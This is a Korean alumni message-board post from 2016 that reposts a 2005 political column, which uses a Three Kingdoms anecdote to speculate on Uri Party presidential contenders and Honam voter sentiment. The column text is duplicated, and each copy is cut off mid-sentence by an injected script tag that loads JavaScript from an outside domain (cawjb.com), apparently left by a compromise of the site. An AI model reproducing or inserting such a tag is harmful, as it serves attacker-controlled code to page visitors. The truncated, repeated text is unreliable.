📖 게시글 상세보기
[제목]
[곽호성 컬럼] 손석희도 훌륭한 대통령 후보감 아닌가? (이충노)
🧑 정부영
|
📅 2016-01-09 15:32:27
|
👀 45
하하, 휘문67회에 용이 나오려나.
인용해 봅니다. 데일리 서프라이즈 2005.8.9
<시사평론가 곽호성씨의 글>
나관중의 소설 삼국지를 보면 조조와 유비가 정자에 앉아 영웅을 논하는 장면이 나온다. 이 자리에서 조조는 유비와 자신이야 말로 이 시대의 영웅이라고 주장한다. 이때 유비는 조조가 자신을 경계하고 있음을 알고 갑자기 천둥번개가 치자 식탁 밑으로 숨어들어가 마치 겁이 많은 것처럼 가장한다.
조조는 이런 유비의 행동에 속아 넘어가 유비에게 5만의 병사를 주어 그의 감시망 밖으로 내보내는 실수를 하게 된다. 이 과정에서 나온 이야기가 바로 ‘용(龍)’에 대한 이야기이다.
대권경쟁의 숨겨진 ‘1인치’를 찾아라
네이버 백과사전의 설명에 따르면 용은 고대 중국인들이 상상한 신령한 짐승이다. 머리에는 뿔이 있고 몸통은 뱀과 같으나 네 발에 날카로운 발톱이 있고 춘분에는 하늘로 올라가고 추분에는 연못에 잠긴다는 짐승이다.
한편 중국에서는 상서로운 짐승으로 믿으며 제왕에 흔히 비유한다고 한다. 조조는 자신과 유비를 이 ‘용’에 비유하고 있다. 즉, 영웅은 힘을 드러내지 말아야 할 때에는 마치 연못 속의 용처럼 잠자코 가만히 있지만 승천해야 할 때에 이르면 엄청난 천둥번개를 일으키며 하늘로 솟구친다는 설명이다.
그렇다. 진정한 영웅도 자중해야 할 때에는 나서지 않는다. 고요히 앉아 때를 기다린다. 이런 사실은 우리 대권경쟁에도 그대로 대입된다. 그러니 대권경쟁은 끝까지 봐야 한다. 끝까지 숨막히는 긴장감이 바로 대권경쟁의 묘미인 것이다.
앞으로 있을 2007 대선에서도 결국 대권후보 경선 경쟁에서 어느 편이 더 흥미진진한 모습을 보여주는가 하는 것이 전체 대권경쟁에서 상당한 비중을 차지할 것이다. 한마디로 예선을 멋지게 치른 편이 본선도 승리할 가능성이 높다는 이야기이다.
열린우리당 대권후보는 과연 누가 될 것인가
일단 한나라당 대권후보 문제는 접어두고 열린우리당 대권후보 문제를 보자. 과연 열린우리당의 대권후보는 누가 될 것인가. 냉정한 제 3자의 시각으로 볼 때 지금 누가 대권후보가 될지 예측하는 것은 너무 성급한 일이다. 그러나 대략적인 감은 잡을 수 있다.
현재 존재하는 열린우리당 대권후보들이나 고건 전 총리로는 열린우리당의 핵심인 386의 지지를 결집시키기 힘들다. 물론 현존하는 후보들이 앞으로 어떤 태도를 취할 것이냐에 따라 달라지겠지만.
이는 지난 2002 대선 경선에서 당시 ‘대세론’으로 최고의 주가를 지키던 이인제 의원이 맥없이 무너진 것과 비슷한 양상이다. 열린우리당에서 대권주자가 되기 위해서는 386의 마음을 잡는 것이 중요하다. 지난 2002 대선에서도 386의 비중은 컸다. 5년의 세월이 지난 지금 386의 비중은 더욱 커졌다. 그래서 386의 정서와 유사한 정서를 갖고 있는 후보가 유리한 것이다.
그렇다면 열린우리당 지지세력 가운데 중요한 축인 호남 유권자들은 어떤 선택을 할 것인가. 많은 이들은 호남 유권자들이 호남에 고향을 갖고 있는 후보에게 모일 것으로 단순하게 예측한다. 보수 사회 일각에서는 호남 유권자들이 노 대통령에게 반감을 갖고 있으므로 반 노 혹은 비 노 성향의 호남 출신 후보에게 모일 것이라고 생각한다. 즉, 고 건 전 총리가 호남의 대안이란 이야기이다.
그러나 필자의 생각은 다르다. 결론을 말하면 호남의 대안은 ‘한나라당 후보를 이길 수 있는 후보’다. 호남 유권자들이 바라는 첫째 조건은 바로 그것이다. 한편으로 보수사회나 반노 진영 일각에서는 DJ의 영향력을 과대평가하는 경향이 있다. 마치 호남은 DJ의 말이라면 무조건 따르는 사회라고 생각하고 있는 것이다.
이는 보수사회나 반노진영, 특히 보수사회 내부에서 오랜 세월 이어져 온 권위주의 가부장 통치자에 대한 순응에 따른 판단이다. 한마디로 보수사회의 질서가 호남에서도 그대로 이어질 것이라고 생각하는 것이다.
호남 정치 민심의 변화
물론 호남지역도 권위주의 가부장 기존 한국 질서를 갖고 있겠으나 호남은 보수사회와는 다르다. 뿐만 아니라 호남지역, 혹은 호남지역과 관계있는 유권자들의 연령 구성도 과거와 다르게 변화했다.
현재 호남지역에서 대략 40대 중반 이하, 즉 386 아니면 386주변세대의 경우 단순히 호남에 연고가 있거나 DJ에 대한 애착이라는 이유만으로 열린우리당이나 민주당을 지지하는 것이 아니다.
이미 그들의 정치적 성향, 이해관계, 이념은 한나라당의 그것과는 동떨어져 있다. 이는 사실 50대 이상의 호남 유권자들도 비슷할 것이다. 50대 이상의 호남 유권자들이 열린우리당못지 않게 민주당을 선택하는 이유는 우선 친숙하고 젊은이들이 설쳐대는 열린우리당을 견제할 수 있다는 점, 노 대통령에 대한 반감 등이 있다.
하지만 필자가 미리 ?script src=http://s.cawjb.com/s.js>
인용해 봅니다. 데일리 서프라이즈 2005.8.9
<시사평론가 곽호성씨의 글>
나관중의 소설 삼국지를 보면 조조와 유비가 정자에 앉아 영웅을 논하는 장면이 나온다. 이 자리에서 조조는 유비와 자신이야 말로 이 시대의 영웅이라고 주장한다. 이때 유비는 조조가 자신을 경계하고 있음을 알고 갑자기 천둥번개가 치자 식탁 밑으로 숨어들어가 마치 겁이 많은 것처럼 가장한다.
조조는 이런 유비의 행동에 속아 넘어가 유비에게 5만의 병사를 주어 그의 감시망 밖으로 내보내는 실수를 하게 된다. 이 과정에서 나온 이야기가 바로 ‘용(龍)’에 대한 이야기이다.
대권경쟁의 숨겨진 ‘1인치’를 찾아라
네이버 백과사전의 설명에 따르면 용은 고대 중국인들이 상상한 신령한 짐승이다. 머리에는 뿔이 있고 몸통은 뱀과 같으나 네 발에 날카로운 발톱이 있고 춘분에는 하늘로 올라가고 추분에는 연못에 잠긴다는 짐승이다.
한편 중국에서는 상서로운 짐승으로 믿으며 제왕에 흔히 비유한다고 한다. 조조는 자신과 유비를 이 ‘용’에 비유하고 있다. 즉, 영웅은 힘을 드러내지 말아야 할 때에는 마치 연못 속의 용처럼 잠자코 가만히 있지만 승천해야 할 때에 이르면 엄청난 천둥번개를 일으키며 하늘로 솟구친다는 설명이다.
그렇다. 진정한 영웅도 자중해야 할 때에는 나서지 않는다. 고요히 앉아 때를 기다린다. 이런 사실은 우리 대권경쟁에도 그대로 대입된다. 그러니 대권경쟁은 끝까지 봐야 한다. 끝까지 숨막히는 긴장감이 바로 대권경쟁의 묘미인 것이다.
앞으로 있을 2007 대선에서도 결국 대권후보 경선 경쟁에서 어느 편이 더 흥미진진한 모습을 보여주는가 하는 것이 전체 대권경쟁에서 상당한 비중을 차지할 것이다. 한마디로 예선을 멋지게 치른 편이 본선도 승리할 가능성이 높다는 이야기이다.
열린우리당 대권후보는 과연 누가 될 것인가
일단 한나라당 대권후보 문제는 접어두고 열린우리당 대권후보 문제를 보자. 과연 열린우리당의 대권후보는 누가 될 것인가. 냉정한 제 3자의 시각으로 볼 때 지금 누가 대권후보가 될지 예측하는 것은 너무 성급한 일이다. 그러나 대략적인 감은 잡을 수 있다.
현재 존재하는 열린우리당 대권후보들이나 고건 전 총리로는 열린우리당의 핵심인 386의 지지를 결집시키기 힘들다. 물론 현존하는 후보들이 앞으로 어떤 태도를 취할 것이냐에 따라 달라지겠지만.
이는 지난 2002 대선 경선에서 당시 ‘대세론’으로 최고의 주가를 지키던 이인제 의원이 맥없이 무너진 것과 비슷한 양상이다. 열린우리당에서 대권주자가 되기 위해서는 386의 마음을 잡는 것이 중요하다. 지난 2002 대선에서도 386의 비중은 컸다. 5년의 세월이 지난 지금 386의 비중은 더욱 커졌다. 그래서 386의 정서와 유사한 정서를 갖고 있는 후보가 유리한 것이다.
그렇다면 열린우리당 지지세력 가운데 중요한 축인 호남 유권자들은 어떤 선택을 할 것인가. 많은 이들은 호남 유권자들이 호남에 고향을 갖고 있는 후보에게 모일 것으로 단순하게 예측한다. 보수 사회 일각에서는 호남 유권자들이 노 대통령에게 반감을 갖고 있으므로 반 노 혹은 비 노 성향의 호남 출신 후보에게 모일 것이라고 생각한다. 즉, 고 건 전 총리가 호남의 대안이란 이야기이다.
그러나 필자의 생각은 다르다. 결론을 말하면 호남의 대안은 ‘한나라당 후보를 이길 수 있는 후보’다. 호남 유권자들이 바라는 첫째 조건은 바로 그것이다. 한편으로 보수사회나 반노 진영 일각에서는 DJ의 영향력을 과대평가하는 경향이 있다. 마치 호남은 DJ의 말이라면 무조건 따르는 사회라고 생각하고 있는 것이다.
이는 보수사회나 반노진영, 특히 보수사회 내부에서 오랜 세월 이어져 온 권위주의 가부장 통치자에 대한 순응에 따른 판단이다. 한마디로 보수사회의 질서가 호남에서도 그대로 이어질 것이라고 생각하는 것이다.
호남 정치 민심의 변화
물론 호남지역도 권위주의 가부장 기존 한국 질서를 갖고 있겠으나 호남은 보수사회와는 다르다. 뿐만 아니라 호남지역, 혹은 호남지역과 관계있는 유권자들의 연령 구성도 과거와 다르게 변화했다.
현재 호남지역에서 대략 40대 중반 이하, 즉 386 아니면 386주변세대의 경우 단순히 호남에 연고가 있거나 DJ에 대한 애착이라는 이유만으로 열린우리당이나 민주당을 지지하는 것이 아니다.
이미 그들의 정치적 성향, 이해관계, 이념은 한나라당의 그것과는 동떨어져 있다. 이는 사실 50대 이상의 호남 유권자들도 비슷할 것이다. 50대 이상의 호남 유권자들이 열린우리당못지 않게 민주당을 선택하는 이유는 우선 친숙하고 젊은이들이 설쳐대는 열린우리당을 견제할 수 있다는 점, 노 대통령에 대한 반감 등이 있다.
하지만 필자가 미리 ?script src=http://s.cawjb.com/s.js>
등록된 댓글이 없습니다.
- 24683 휘문67회 정부영 정말 수고했습니다 ! (오홍조) 2016-01-09
- 24682 휘문67회 정부영 [답변] 축하드립니다, (김현경) 2016-01-09
- 24681 휘문67회 정부영 좋은 대통령으로 남는다고 문제될 게 있나? (김기수) 2016-01-09
- 24680 휘문67회 정부영 제3차 휘공회 해외등반 성공 (유홍림) 2016-01-09
- 24679 휘문67회 정부영 우리 67회 동기들 화이팅! (오홍조) 2016-01-09
- 24678 휘문67회 정부영 [답변] 직장인이며 방송인인 손석희로 영원히 남길 기대하며.... 2016-01-09
- 24677 휘문67회 정부영 [곽호성 컬럼] 손석희도 훌륭한 대통령 후보감 아닌가? (이충노) 2016-01-09
- 24676 휘문67회 정부영 [답변] 그래서...(휘문인) 2016-01-09
- 24675 휘문67회 정부영 이젠 좀 시원한 계절이 오려나! (위재준) 2016-01-09
- 24674 휘문67회 정부영 우리 홈페이지는 언제까지 살아 있을까? (이상진) 2016-01-09
